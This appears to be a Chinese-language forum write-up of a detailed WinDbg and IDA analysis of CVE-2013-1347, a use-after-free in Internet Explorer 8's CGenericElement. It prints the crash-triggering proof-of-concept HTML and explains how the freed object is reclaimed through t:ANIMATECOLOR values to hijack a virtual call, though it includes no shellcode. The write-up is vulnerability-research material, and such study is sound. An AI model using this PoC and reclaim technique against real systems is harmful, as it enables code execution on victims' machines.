-
-
[原创] (有错误修改)超级长的IE调试总结:CVE-2013-1347 IE CGenericElement UAF漏洞分析
-
发表于: 2021-8-23 00:46 26398
-
注:有一处概念模糊,和漏洞利用相关,这里书中的解释也是有问题的。修改了两处内容,三行!!!后面的加粗字体是新添加的内容
原本说这周(写下这段文字的时候已经是上周了...)要看UAF漏洞如何利用的,结果《漏洞战争》中的第一个UAF漏洞是FireFox中的,由于版本太老,Firefox已经不提供symbols了,所以我选择调试第二个漏洞,然后就陷入了IE的大坑。
最终的这篇文章主要集中在了如何对IE进行调试上,按照Poc代码的流程详细分析了IE怎样完成相关操作,并通过删除关键代码,对比调试确定代码作用。最后在漏洞利用上,也对示例代码进行了调试,分析确定了exploit可以发生的原因。文章最后并没有涉及到真正的shellcode,因为那已经是堆喷射和ROP的技术了(而且这个漏洞分析真的花费了太长时间...)。
IE版本:8.0.7600.16385
操作系统:Win 7 64位专业版
Windbg版本:Windbg 6.12 x86
使用IE打开poc文件之后,由于安全设置的缘故,js代码并没有执行,这时用windbg附加到IE进程上,然后右键“允许阻止的内容”,此时进程中断:
可以看到进程执行到了4d3b1874
这里:
这个地址没有任何访问权限,看一下函数调用栈的情况:
此时的返回地址是72adc407
,看一下这之前的代码:
这是一个很典型的获取对象虚表指针,然后根据偏移调用对应虚函数的结构。ecx
中保存了this
指针,eax
获取虚表指针,调用了偏移0x70
处的虚函数。为了获取更多信息,可以开启页堆试一下:
再次开始调试,这次程序断在了刚刚访问ecx
寄存器的时候:
根据上面得到的堆信息,进程引用了已经释放的空间,这块空间是通过垃圾回收机制删除的CGenericElement
对象。
了解了异常发生的基本原因,我希望先对poc.html中的javascript代码有一个初步的理解,方便明确接下来的分析方向。
下面是我对代码的进一步注释,在这一过程中尝试对某些语句进行删除,重新验证异常是否会出现。
根据以上调试得到的结果,存在以下几个问题:
基于以上提出的问题,进行下一步对javascript代码的调试。首先需要找到对应的DLL文件中的函数是什么。
在CVE-2011-0027的整数溢出漏洞的分析过程中,书中提到了一个确定和recordset
相关的IE函数的方法,需要到https://www.geoffchappell.com上去搜索。使用这个方法可以找到CDocument
类中的createElement
函数。
除此之外,在此次漏洞分析中,书中也写到了可以直接在windbg中对函数进行搜索。具体使用哪种方法还需要结合上下文,以及搜索结果进行选择。
按照书中所说,搜索mshtml!*document*createElement*
先看第一个函数,在IDA中打开mshtml.dll
并找到对应函数。
之后是一系列CreateElement
函数的调用:
直接在CMarkup::CreateElement
处下断点,根据IDA中CreateElement
调用位置,在windbg中下断点:
步入之后很快能到达下面的代码位置:
其中mshtml!g_atagdesc
是一系列函数的索引表:
edi
寄存器中保存了该索引表的偏移,最终得到函数CSpanElement::CreateElement
的地址,并进行了调用:
在IDA中看一下这个函数干了什么:
可以看到这个函数通过HeapAlloc
分配了大小为0x28
个字节的空间,然后调用了CElement::CElement
创建元素,并将相关数据写入到分配的空间中。
!!!
!!!
!!!
注意这里分配的空间大小,每个元素都不一样,0x28是span元素分配的大小,CGenericElement分配的大小是0x38。后面的漏洞利用脚本,控制循环的数值13就是从这里来的
CElement::CElement
的内容:
eax寄存器指向的是之前HeapAlloc
分配的空间,可以看到这个函数在向这个空间填入数据,最后将其作为返回值返回。
总结一下,createElement
的流程如下:
因此我们可以通过在mshtml!CreateElement
和mshtml!CElement::CElement
设置断点,获得createElement
过程中创建的元素类型以及分配空间的地址及内容:
在设置第一个断点的时候,出现了两个函数:
我查看了一下汇编代码,在第二个位于71084bb0
的函数那里找到了相似代码:
所以选择这个函数设置断点:
到此为止,通过分析createElement
底层执行的代码,我们已经知道怎样获得函数执行期间创建的堆空间的地址及其内容了。
接下来按照同样的方法,确定appendChild
这个函数在底层干了什么
在windbg中搜索和appendChild
相关的函数:
代码中有两类进行appendChild
的操作,分别是向body
和span
元素中添加子元素:
从函数名来看,mshtml!CElement::appendChild
和mshtml!CDocument::appendChild
比较可疑。在IDA中搜索后者,可以发现CDocument::appendChild
直接调用了CElement::appendChild
。
直接在IDA中跟踪一下函数的调用流程,根据函数名称可以大致判断其功能,得到下面的结果:
从上面的流程中可以知道,程序是在InsertBeforeHelper
中获得了元素在DOM树中的插入位置,然后开始进行插入,最终到达InsertElementInternal
函数,才真正在堆中分配一个空间,所有数据的赋值一定是在之后才发生的。
根据以上结论,在CMarkup::InsertElementInternal
函数设置一个断点,进行详细的调试,判断空间分配后发生的什么。
程序断在CMarkup::InsertElementInternal
之后,继续步进,到达HeapAlloc
函数:
HeapAlloc
分配的空间首地址为eax中的值0d008fb0
。
当执行完HeapAlloc
之后,程序调用CTreeNode::CTreeNode
函数创建对应想要添加元素的TreeNode
,
之前HeapAlloc
创建的空间作为this
指针传递给了CTreeNode::CTreeNode
函数,并且会作为返回值返回(从IDA中得知)。因此在该函数执行完之后,看一下之前分配的空间:
可以看到这次添加的元素是span
。
也就是说,在进行appendChild
操作时,程序会分配一个大小0x4C
的空间,该空间用于存储要添加元素的CTreeNode
结构,该结构中存储了和要添加的元素有关的信息。
还是按照之前分析createElement
的方法,在执行完CTreeNode::CTreeNode
函数之后的位置设置断点,这次要输出CTreeNode
的内容:bu mshtml!CMarkup::InsertElementInternal+0x23d "ddp eax L13;g"
到目前为止我们已经跟踪了createElement
和appendChild
的执行流程,知道在哪里设置断点可以获得分配的堆块空间的地址,以及如何显示空间中的内容。
接下来就要看poc中剩余的代码对已经分配的这些空间有什么影响了。
在调试之前,先看一下offsetParent
是什么东西:
那么offsetParent
就是距离该子元素最近的进行过定位的父元素(position:absolute relative fixed),如果其父元素中不存在定位则offsetParent
为:body元素
因此如果没有设置过这个值,f0
的offsetParent
应该是body
元素,但是在代码中把这个值设置成了null
。
还是像之前一样,确定一下和offsetParent
有关的函数是什么:
从函数名来看,有关的函数可能是:
在IDA中查找,可以看到后者调用了前者。这样的话,可以直接在CElement::GetOffsetParentHelper
设置一个断点,然后查看函数执行前后,目标空间数据的变化情况。
根据以上结论,我们可以设置以下断点:
设置好断点执行,会得到和每个元素相关的堆块空间的地址,然后程序断在CElement::GetOffsetParentHelper
的开头。此时我们可以按照dd element_addr la;
以及ddp treenode_addr l13;
的格式输出所在地址处的数据。
之后按Shift+F11
跳出当前函数,再次进行一次上面的堆块空间内容的输出,就可以得到函数执行前后,目标空间数据的变化情况了。
整理如下:
首先看一下上图中,程序创建的元素名称,可以看到倒数第二个是CGenericElement
元素,还记得我们一开始定位漏洞的位置,根据调试器的输出,已经知道异常产生的原因是一个CGenericElement
被释放重引用了,所以之后应该重点关注这个元素对应的堆块空间的变化情况,以及其他元素对于这个元素的引用情况。
除此之外,观察上图中同一列数据,根据数值间的关系以及IE5.0源码,可以得出以下结论(仅作参考,帮助分析):
CTreeNode+0x44
(4字节):CTextBlock
结构指针。
源码和数值关系都没看出来,最终在windbg中得到了这个值的涵义:0cec1ff4 0d186fa0 71fc6cc8 mshtml!CTextBlock::
vftable'`
检查了几个不同元素,得到的都是同一结构的指针;
CElement+0x14
(4字节):同一元素CTreeNode
地址;
之后执行的代码是:
按照相同的方法找到和innerHTML
有关的函数,并设置断点:
到目前为止断点设置情况:
最后得到如下图的数据变化情况:
从上图可以发现:
我觉得第2点中存在的现象肯定是有一些问题的,CElement
和TreeNode
之间的联系被单方面中断了,这就导致最后垃圾回收之后,TreeNode
那里的数据完全没变化。而且第1点中变化的那几个字节的具体作用目前也不清楚,不知道是不是和这个漏洞有关系。
关于第一点,我在下一小节进行了调试,先来看第二点。仔细查看一下CTreeNode+0x44
这个位置的值是什么意思:
注:因为多次调试,这里的值发生了变化。
所以这个位置保存了一个指向CTextBlock
的指针,而执行完f0.offsetParent=null;
之后,CGenericElement
的CTreeNode
里面就多出来了一个CTextBlock
,我们设置一个断点看一下是怎么来的:
看一下函数调用流程:
也就是说IE在设置完offsetParent
之后进行了一次渲染。在IDA中看一下CTreeNode::SetLayoutBlock
的代码:
所以程序在这里给CTreeNode
设置好了CTextBlock
的值,在windbg中看一下这里面的内容:
几个看起来有意义的数据都进行了注释,其中倒数第二个数据看起来也是一个地址,看一下里面是什么内容:
也就是说,IE在执行完offsetParent
之后进行了一次渲染,为相关元素构造了CTextBlock
结构,添加了它的指针。
接下来继续分析,设置完所有这些断点,然后一直执行到垃圾回收之前,看一下和CGenericElement
有关的空间情况:
也就是说,直到执行CollectGarbage
函数之前,这两块堆空间还是正常的占用状态。接下来F5继续执行,程序直接到达异常:
目前我们已经对分配的堆块空间有了一定了解,可以发现0ce20fc8
就是CGenericElement
的CElement
的地址。
可以向上翻一下3.2小节的内容,那时我们就已经得出了异常出现是因为垃圾回收已经释放了一个叫做CGenericElement
的元素的空间,而后面又对这个空间进行了引用。但是当时虽然发现了这一点,由于对内部机制完全不了解,所以毫无头绪。
现在我们看一下函数调用情况:
有一个地址看起来特别眼熟:0cec1fb0
,这是CGenericElement
的TreeNode
的地址从函数调用情况中,可以找到最早引用0cec1fb0
这个地址的是mshtml!ISpanQualifier::GetFancyFormat+0x5a
函数,在3.4.3小节最后推出的结论部分,我们曾经提到过Fancy Format
这个东西,它位于CTreeNode+0xC
这个DWORD
的16-31
位。
接下来在IDA中跟踪一下ISpanQualifier::GetFancyFormat
这个函数的调用流程,不想截太多的图,这里只贴出关键的代码:
检查上面ISpanQualifier::GetFancyFormat
的调用流程:
根据下半部分GetFancyFormat
调用函数的情况会发现,只有Fancy Format
的值小于0,函数才会继续深入,进一步调用ComputeFormats
函数,而如果Fancy Format
的值不符合要求,函数是不会对这个元素进行处理的。而在设置完offsetParent
之后,Fancy Format
的值就变了,不再小于0。
因此在开始设置innerHTML
之前,即程序刚刚进入CElement::put_innerHTML
函数之后,在Fancy Format
所在的位置,即0cec1fbc
这里设置一个读断点,程序执行后断在这里:
此时的函数调用情况:
我们在IDA中看一下这个函数的代码:
可以看到执行完这个函数,Char Format
和Fancy Format
又设置成了-1。但是此时CElement
中仍旧保存着CTreeNode
的值:
在这个位置上也设置一个读断点,然后继续执行:
也就是说在设置innerHTML
为空的时候,通过CElement::DelMarkupPtr
,删除了CElement
中对于CTreeNode
的引用。
上半部分显示了CTreeNode
是怎样传入这个函数的,最终追踪到了SRunPointer::SpanQualifier
函数,再往前由于缺少函数调用流程,不知道该检查哪个函数。
所以现在需要确定SRunPointer::SpanQualifier
函数中的a1
是什么东西。
要在SRunPointer::SpanQualifier
这个函数上设置一个断点,为了确保代码能够执行到这个函数中最后的return v1[3];
返回语句,需要设置条件断点
使用这个条件断点执行到异常发生会输出一长串信息,因为断点命中了很多次,只取最后一次的输出:
仔细检查一下相关的地址:
根据上面的输出结果,我们知道SRunPointer::SpanQualifier
函数中的a1
指向的是一个CTextBlock
,[a1+4]
指向的是一个列表,上面的第二个输出,可以看出每16个字节是列表中的一项,每项中又包含四个不同的数据,其中第三个数据是CTreePos
的地址,第四个数据是CTreeNode
的地址。函数返回的就是这个CTreeNode
的地址。
所以这个结构有没有很熟悉,和我们在3.4.4中分析CTextBlock
的时候,遇到的倒数第二个数据指向的位置结构相同。这里为了方便,沿用《漏洞战争》使用的名称,把这块数据叫做element_array
。
上面的调试分析更多的是让自己对和此次漏洞有关的数据结构有所了解,同时也初步确定了poc代码中一些元素的作用,但是可能还有一些作用不太清晰。接下来会通过修改Poc代码,删除对应元素的方式,确定各元素对于最终异常的产生有什么印象。
经过调试发现,一直到执行完垃圾回收,CTreeBlock
处仍旧包含已经释放的CGenericElement
元素的CTreeNode
。因此问题应该出在脚本执行结束后的渲染部分,它可能没有遍历CTreeBlock
。
为了验证这一点,在element_array
所在的位置设置一个读写断点,执行后发现,程序中断的位置的函数调用流程为:
注意在CCssDocumentLayout::GetPage
的调用中,程序没有像发生异常那样调用CLayoutBlock::BuildBlock
,而是调用了Ptls5::FsUpdateBottomlessPage
,并且最终调用了CTextBlock
的析构函数,在执行完析构函数之后,CGenericElment
所在的CTextBlock
的空间就释放了:
没有了设置offsetParent
的语句,程序直接到达设置innerHTML
的部分,此时查看CGenericElement
的CTreeNode
:
可以看到Char Format
和Fancy Format
的位置是-1
,而如果有设置offsetParent
的操作,这时这里应该不是-1
。除此之外,CTextBlock
的部分也是空的。这点之前也提到了,设置offsetParent
会让IE重新对DOM树进行渲染,并构造相关的CTextBlock
结构。
但是继续往下执行,我发现CTreeNode
这里的空间直接被释放了???在IDA中仔细检查相关代码,在3.4.5追踪Fancy Format
的时候,贴过函数调用流程,CTreeNode::VoidCachedNodeInfo
查看了Char Format
的数值,向前回溯,到达CTreeNode::PrivateExitTree
函数:
有一个if
语句,如果通过,会调用CTreeNode::Release
函数:
这个if
语句检查的是CTreeNode
的倒数第三个DWORD
,在此例中,即数值为0x08
的字节。如果你查看一下之前的贴图,发生异常的情况下,这里的数值是0x18
。
这里做个计算:
如上,可以看到两种情况的走向完全不同。
这个字节的数值在之前分析offsetParent
的时候并没有注意,所以这次要在此调试一下,在这里设置一个读写断点,看看设置offsetParent
是在什么时候对这个字节进行了修改,这个字节又有什么意义。
继续执行,会先到达CElement::ComputeFormats
,没有重要操作,继续执行,到达这里:
上面的函数调用流程和3.4.4小节中,在CTreeNode
中的CTextBlock
指针那里设置断点时得到的函数调用流程十分接近,在IDA中查看,这个操作就在设置CTextBlock
指针操作的后面几步。
再看一下这个函数的代码:
和上面的CTreeNode::Release
函数中的计算看起来很相似,如果你仔细观察一下它的计算的话,其实CTreeNode::Release
函数是在做一个-8
操作,而CTreeNode::AddRef
是在做一个+8
操作。
所以CTreeNode
的倒数第三个DWORD
应该是这个CTreeNode
的引用计数,默认有一个引用,指CElement中存储的那个CTreeNode指针,之后每增加一次引用,数值增加8,如果计数到达0,就会对这个空间进行释放。
鉴于执行完f0.offsetParent=null;
之后,CGenericElement
这个计数值从0x8
变成了0x18
,所以应该是增加了两个引用。
我猜测这里引用的增加和element_array
有关(不一定正确)。因为:
目前程序断在了CTreeNode::AddRef
,步进执行完这个函数,引用增加一次,数值增加8,此时数值是0x10
。如果这个时候检查element_array
中的内容:
如果继续F5执行,程序还会断在这里,执行完这个函数,再次查看element_array
:
所以到这里就可以得出结论了,设置offsetParent
的操作让IE对DOM树进行了渲染,形成CTextBlock
,并在CTreeNode
中添加其地址,增加CTreeNode
的引用数。而清空innerHTML
的时候,对于CTextBlock
的操作存在问题,并没有清除element_array
中的内容,引用数只减少了一个数值,导致对应的CTreeNode
的空间没有被释放。
删除了f1.appendChild(document.createElement('table'));
这句代码之后,设置好断点,然后让程序一直执行到达CElement::put_innerHTML
函数,观察此时和CGenericElment
有关的数据,会发现element_array中的数据变化很明显:
原本在存在table
元素的时候,这里面应该只有四组数据,包含f2
和CGenericElement
。
现在还不知道这种变化有什么影响,继续向下执行,会发现直到垃圾回收之前,数据都没有什么太大的变化。垃圾回收之后,也之后CElement
的空间被释放了,CTreeNode
的空间仍旧存在,那么问题应该处在脚本执行之后的渲染阶段。
我在element_array
中,CGenericElement
所在的位置设置了一个读写断点,然后继续执行:
所以现在位于SLayoutRun::Clear
函数,是在做什么清除吗?再看一下element_array
中的内容:
前面几项竟然都被清除了!!
暂停一下,做一个整理,这篇文章我一共贴了两张图,如果你回过头去看第一张,会发现各个元素的CTreeNode
结构中,记录CTextBlock
的位置,f0
、f1
的CTextBlock
和f2
、CGenericElement
的CTextBlock
值是不一样的,而如果没有table
元素,就像上面显示的,所有元素都在同一个element_array
中了。
在调试分析offsetParent
的时候,我们说IE在设置完offsetParent
之后会对DOM树进行渲染,并构造相应的CTextBlock
,这个说法其实不太准确,不是“构造”,而是更新。而在脚本全部执行完之后,在此渲染的时候,IE同样会更新CTextBlock
。就像上面有一些清除操作。
接下来要仔细看一下在渲染前后,element_array
的变化情况,还是回到会产生异常的那个poc脚本,因为比较好定位,最后一定会结束在异常状态。
可以看到在存在table
元素的时候,有两个不同的element_array
,而且保存在不同的CTextBlock
中。接下来继续执行直到发生异常:
f0
, f1
对应的element_array
所在的空间已经被释放了,如果检查一下对应的CTextBlock
结构,会发现其中保存的element_array
地址已经变了:
可以看到f0
, f1
对应的element_array
内容进行了更新,现在里面只有f0
和hr
元素了。而f1
在另一个element_array
中:
唯一的问题就在于之前f2
和CGenericElement
所在的element_array
的空间并没有被释放,仍旧存在:
所以现在可以得出结论了,table
元素导致生成了两个CTextBlock
,存在两个element_array
,在脚本结束后对DOM树进行渲染时,更新CTextBlock
的操作存在问题,并没有对第二个CTextBlock
进行更新。最终导致了对已释放空间的访问。
到此为止,做一个总结:
创建table
元素
形成两个CTextBlock
,脚本执行后渲染更新CTextBlock
的时候,只更新了第一个,保留了对已释放空间的引用。
设置offsetParent
为null
更新CTextBlock
,增加引用数,导致设置innerHTML
的时候,不会删除CTreeNode
的空间
清空innerHTML
清空f1
和f2
下面的元素,让之后的垃圾回收释放不再使用的空间
创建hr
元素
让脚本执行后渲染DOM树时,能够重新遍历更新CTextBlock
根据文章一开始的分析,异常发生前执行的代码是:
现在我们已经知道,ecx寄存器中保存的是CGenericElement
的CElement
的地址,但是这块空间已经被释放了。所以如果能够想办法,在程序执行到这段代码之前,覆盖这块已经释放的空间,就有机会做到漏洞利用。
空间释放的操作发生在垃圾回收函数的调用中,所以覆盖操作要在垃圾释放之后。《漏洞战争》中介绍了t:ANIMATECOLOR
元素,因为这个元素可以任意设置大小和内容,十分适合用于此次漏洞利用。
t:ANIMATECOLOR:
Changes the color of an object over time.
VALUES Attribute | values Property:
Sets or retrieves a list of semicolon-separated values of an animation.
由于代码中,获取的是偏移为0x70
处的虚函数,所以t:ANIMATECOLOR
要设置0x70
的长度,最后的四个字节设置为shellcode的地址。
t:ANIMATECOLOR
元素中的values
保存的是指针,指向每个按照分号分隔后的字符串。因此values
值中包含的分号个数就控制了程序在分配空间时的大小。而exploit代码中按照原本CGenericElement
的CElement
空间大小设置了values
的大小,这种情况下系统肯定会优先选择大小完全一样的堆块空间分配给它,也就正好命中了已释放空间的地址。
!!!
!!!
!!!
注:CGenericElement的空间大小是0x38,即十进制的56。56/4==14。
在上面的代码中,依靠循环在animvalues后面添加了13个;red,所以一共就是14个值,正好对应。
一开始我没明白虚表指针是怎么设置的,书中写的是“用第一个分号前面的字符串覆盖虚表指针”,也没理解什么意思。
后来发现自己把最终animvalues的值看错了,又跟着调试了一遍上面的代码:
断点的设置还是跟之前都一样,开始执行之后就能获得各个元素CElement
和CTreeNode
的地址,执行到垃圾回收之后,就在CGenericElement
的CElement
地址处设置一个写断点,程序中断后看一下函数调用流程:
所以空间的分配应该是在mstime!CTIMEAnimationBase::put_values
这个函数中,程序在设置t:ANIMATECOLOR
的values
的值的时候还会分配一个新的空间,而不只是复制一个指针值,这解决了我的一个疑问,我一开始认为代码中为animvalues
赋值的时候就已经做了空间的分配。
回退一下,这次在mstime!CTIMEAnimationBase::put_values
设置断点,然后逐步调试,这里不再贴出调试过程,直接对应到IDA中的代码,给出注解:
上面代码中的循环结束之后,原本的已释放空间数据如下:
可以看到已经被分割后字符串指针代替了。007335b8
会被当成虚表指针。
总的来说,这次的漏洞分析让我在IE调试上学习到了很多,也了解到了很多IE底层的知识,而且极大地锻炼了自己的耐心。自认为对于CVE-2013-1347漏洞,文章里分析的已经很透彻了,也发现了一些书中没有提到的细节。
至于UAF漏洞利用,原理也算是清楚了,这次的漏洞和我在上周示例代码遇到的双重释放导致的UAF差别很大,上周的异常是由于多重释放时堆块大小的计算出现问题,导致访问超出范围,现在看来这应该不是普遍会遇到的UAF的情况,但是整个调试经历,异常原因的分析也很有趣。
<!doctype html> <!
-
-
required
-
-
>
<HTML>
<head>
<
/
head>
<body>
<ttttt:whatever
id
=
"myanim"
/
><!
-
-
required
format
-
-
>
<script>
f0
=
document.createElement(
'span'
);
document.body.appendChild(f0);
f1
=
document.createElement(
'span'
);
document.body.appendChild(f1);
f2
=
document.createElement(
'span'
);
document.body.appendChild(f2);
document.body.contentEditable
=
"true"
;
f2.appendChild(document.createElement(
'datalist'
));
/
/
has to be a data
list
f1.appendChild(document.createElement(
'table'
));
/
/
has to be a table
try
{
f0.offsetParent
=
null;
/
/
required
}catch(e){ }
f2.innerHTML
=
"";
/
/
required
f0.appendChild(document.createElement(
'hr'
));
/
/
required
f1.innerHTML
=
"";
/
/
required
CollectGarbage();
<
/
script>
<
/
body>
<
/
html>
<!doctype html> <!
-
-
required
-
-
>
<HTML>
<head>
<
/
head>
<body>
<ttttt:whatever
id
=
"myanim"
/
><!
-
-
required
format
-
-
>
<script>
f0
=
document.createElement(
'span'
);
document.body.appendChild(f0);
f1
=
document.createElement(
'span'
);
document.body.appendChild(f1);
f2
=
document.createElement(
'span'
);
document.body.appendChild(f2);
document.body.contentEditable
=
"true"
;
f2.appendChild(document.createElement(
'datalist'
));
/
/
has to be a data
list
f1.appendChild(document.createElement(
'table'
));
/
/
has to be a table
try
{
f0.offsetParent
=
null;
/
/
required
}catch(e){ }
f2.innerHTML
=
"";
/
/
required
f0.appendChild(document.createElement(
'hr'
));
/
/
required
f1.innerHTML
=
"";
/
/
required
CollectGarbage();
<
/
script>
<
/
body>
<
/
html>
0
:
013
> g
ModLoad:
73090000
73142000
C:\Windows\SysWOW64\jscript.dll
(
5a0
.
3d8
): Access violation
-
code c0000005 (first chance)
First chance exceptions are reported before
any
exception handling.
This exception may be expected
and
handled.
eax
=
72a4a570
ebx
=
04ccc3a8
ecx
=
0073c538
edx
=
4d3b1874
esi
=
02f5ead0
edi
=
00000000
eip
=
4d3b1874
esp
=
02f5eaa0
ebp
=
02f5eabc
iopl
=
0
nv up ei pl zr na pe nc
cs
=
0023
ss
=
002b
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00010246
4d3b1874
?? ???
0
:
013
> g
ModLoad:
73090000
73142000
C:\Windows\SysWOW64\jscript.dll
(
5a0
.
3d8
): Access violation
-
code c0000005 (first chance)
First chance exceptions are reported before
any
exception handling.
This exception may be expected
and
handled.
eax
=
72a4a570
ebx
=
04ccc3a8
ecx
=
0073c538
edx
=
4d3b1874
esi
=
02f5ead0
edi
=
00000000
eip
=
4d3b1874
esp
=
02f5eaa0
ebp
=
02f5eabc
iopl
=
0
nv up ei pl zr na pe nc
cs
=
0023
ss
=
002b
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00010246
4d3b1874
?? ???
0
:
005
> !address
4d3b1874
Failed to
map
Heaps (error
80004005
)
Usage: Free
Base Address:
07515000
End Address:
5fff0000
Region Size:
58adb000
Type
:
00000000
State:
00010000
MEM_FREE
Protect:
00000001
PAGE_NOACCESS
0
:
005
> !address
4d3b1874
Failed to
map
Heaps (error
80004005
)
Usage: Free
Base Address:
07515000
End Address:
5fff0000
Region Size:
58adb000
Type
:
00000000
State:
00010000
MEM_FREE
Protect:
00000001
PAGE_NOACCESS
0
:
005
> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP
not
in
any
known module. Following frames may be wrong.
02f5ea9c
72adc407
72b05961
02f5edec
04ccc3a8
0x4d3b1874
02f5eaa0
72b05961
02f5edec
04ccc3a8
00000000
mshtml!CElement::Doc
+
0x7
02f5eabc
72b0586d
04ccc3a8
02f5edec
04ccc3a8
mshtml!CTreeNode::ComputeFormats
+
0xba
02f5ed68
72b0a12d
04ccc3a8
04ccc3a8
02f5ed88
mshtml!CTreeNode::ComputeFormatsHelper
+
0x44
02f5ed78
72b0a0ed
04ccc3a8
04ccc3a8
02f5ed98
mshtml!CTreeNode::GetFancyFormatIndexHelper
+
0x11
02f5ed88
72b0a0d4
04ccc3a8
04ccc3a8
02f5eda4
mshtml!CTreeNode::GetFancyFormatHelper
+
0xf
02f5ed98
7298b9c4
04ccc3a8
02f5edb4
7298ba2c
mshtml!CTreeNode::GetFancyFormat
+
0x35
02f5eda4
7298ba2c
00000000
04ccc3a8
02f5edc4
mshtml!ISpanQualifier::GetFancyFormat
+
0x5a
02f5edb4
729fc009
00000000
007a58a0
02f5edfc
mshtml!SLayoutRun::HasInlineMbp
+
0x10
02f5edc4
72a0b4e5
00000000
00000000
007a58a0
mshtml!SRunPointer::HasInlineMbp
+
0x56
02f5edfc
72a0b575
02f5ee1b
00000000
00000000
mshtml!CLayoutBlock::GetIsEmptyContent
+
0xf2
02f5ee34
72bd44f0
02f5ee9f
02f5eeb3
007e03b0
mshtml!CLayoutBlock::GetIsEmptyContent
+
0x3f
......
0
:
005
> kb
ChildEBP RetAddr Args to Child
WARNING: Frame IP
not
in
any
known module. Following frames may be wrong.
02f5ea9c
72adc407
72b05961
02f5edec
04ccc3a8
0x4d3b1874
02f5eaa0
72b05961
02f5edec
04ccc3a8
00000000
mshtml!CElement::Doc
+
0x7
02f5eabc
72b0586d
04ccc3a8
02f5edec
04ccc3a8
mshtml!CTreeNode::ComputeFormats
+
0xba
02f5ed68
72b0a12d
04ccc3a8
04ccc3a8
02f5ed88
mshtml!CTreeNode::ComputeFormatsHelper
+
0x44
02f5ed78
72b0a0ed
04ccc3a8
04ccc3a8
02f5ed98
mshtml!CTreeNode::GetFancyFormatIndexHelper
+
0x11
02f5ed88
72b0a0d4
04ccc3a8
04ccc3a8
02f5eda4
mshtml!CTreeNode::GetFancyFormatHelper
+
0xf
02f5ed98
7298b9c4
04ccc3a8
02f5edb4
7298ba2c
mshtml!CTreeNode::GetFancyFormat
+
0x35
02f5eda4
7298ba2c
00000000
04ccc3a8
02f5edc4
mshtml!ISpanQualifier::GetFancyFormat
+
0x5a
02f5edb4
729fc009
00000000
007a58a0
02f5edfc
mshtml!SLayoutRun::HasInlineMbp
+
0x10
02f5edc4
72a0b4e5
00000000
00000000
007a58a0
mshtml!SRunPointer::HasInlineMbp
+
0x56
02f5edfc
72a0b575
02f5ee1b
00000000
00000000
mshtml!CLayoutBlock::GetIsEmptyContent
+
0xf2
02f5ee34
72bd44f0
02f5ee9f
02f5eeb3
007e03b0
mshtml!CLayoutBlock::GetIsEmptyContent
+
0x3f
......
0
:
005
> ub
72adc407
mshtml!CElement::SecurityContext
+
0x29
:
72adc3fb
90
nop
72adc3fc
90
nop
72adc3fd
90
nop
72adc3fe
90
nop
72adc3ff
90
nop
mshtml!CElement::Doc:
72adc400
8b01
mov eax,dword ptr [ecx]
72adc402
8b5070
mov edx,dword ptr [eax
+
70h
]
72adc405
ffd2 call edx
0
:
005
> ub
72adc407
mshtml!CElement::SecurityContext
+
0x29
:
72adc3fb
90
nop
72adc3fc
90
nop
72adc3fd
90
nop
72adc3fe
90
nop
72adc3ff
90
nop
mshtml!CElement::Doc:
72adc400
8b01
mov eax,dword ptr [ecx]
72adc402
8b5070
mov edx,dword ptr [eax
+
70h
]
72adc405
ffd2 call edx
C:\Users\test>
"C:\Program Files (x86)\Debugging Tools for Windows (x86)\gflags.exe"
-
i iexplore.exe
+
hpa
Current Registry Settings
for
iexplore.exe executable are:
02000000
hpa
-
Enable page heap
C:\Users\test>
"C:\Program Files (x86)\Debugging Tools for Windows (x86)\gflags.exe"
-
i iexplore.exe
+
hpa
Current Registry Settings
for
iexplore.exe executable are:
02000000
hpa
-
Enable page heap
0
:
013
> g
ModLoad:
71c90000
71d42000
C:\Windows\SysWOW64\jscript.dll
(
26c
.
904
): Access violation
-
code c0000005 (first chance)
First chance exceptions are reported before
any
exception handling.
This exception may be expected
and
handled.
eax
=
723d5100
ebx
=
0d340fb0
ecx
=
0d222fc8
edx
=
00000000
esi
=
0862eb80
edi
=
00000000
eip
=
7205c400
esp
=
0862eb54
ebp
=
0862eb6c
iopl
=
0
nv up ei pl zr na pe nc
cs
=
0023
ss
=
002b
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00010246
mshtml!CElement::Doc:
7205c400
8b01
mov eax,dword ptr [ecx] ds:
002b
:
0d222fc8
=
????????
0
:
013
> g
ModLoad:
71c90000
71d42000
C:\Windows\SysWOW64\jscript.dll
(
26c
.
904
): Access violation
-
code c0000005 (first chance)
First chance exceptions are reported before
any
exception handling.
This exception may be expected
and
handled.
eax
=
723d5100
ebx
=
0d340fb0
ecx
=
0d222fc8
edx
=
00000000
esi
=
0862eb80
edi
=
00000000
eip
=
7205c400
esp
=
0862eb54
ebp
=
0862eb6c
iopl
=
0
nv up ei pl zr na pe nc
cs
=
0023
ss
=
002b
ds
=
002b
es
=
002b
fs
=
0053
gs
=
002b
efl
=
00010246
mshtml!CElement::Doc:
7205c400
8b01
mov eax,dword ptr [ecx] ds:
002b
:
0d222fc8
=
????????
0
:
005
> !heap
-
p
-
a ecx
address
0d222fc8
found
in
_DPH_HEAP_ROOT @
4d1000
in
free
-
ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
be01958: d222000
2000
746790b2
verifier!AVrfDebugPageHeapFree
+
0x000000c2
77140acc
ntdll!RtlDebugFreeHeap
+
0x0000002f
770fa967
ntdll!RtlpFreeHeap
+
0x0000005d
770a32f2
ntdll!RtlFreeHeap
+
0x00000142
74eb14d1
kernel32!HeapFree
+
0x00000014
71eeb9a8
mshtml!CGenericElement::`scalar deleting destructor'
+
0x0000003d
72067dd0
mshtml!CBase::SubRelease
+
0x00000022
7205c482
mshtml!CElement::PrivateRelease
+
0x0000002a
7205b034
mshtml!PlainRelease
+
0x00000025
720b669d
mshtml!PlainTrackerRelease
+
0x00000014
71c9a6f1
jscript!VAR::Clear
+
0x0000005f
71cb6d66
jscript!GcContext::Reclaim
+
0x000000b6
71cb4309
jscript!GcContext::CollectCore
+
0x00000123
71d18572
jscript!JsCollectGarbage
+
0x0000001d
71ca74ac
jscript!NameTbl::InvokeInternal
+
0x00000141
......
0
:
005
> !heap
-
p
-
a ecx
address
0d222fc8
found
in
_DPH_HEAP_ROOT @
4d1000
in
free
-
ed allocation ( DPH_HEAP_BLOCK: VirtAddr VirtSize)
be01958: d222000
2000
746790b2
verifier!AVrfDebugPageHeapFree
+
0x000000c2
77140acc
ntdll!RtlDebugFreeHeap
+
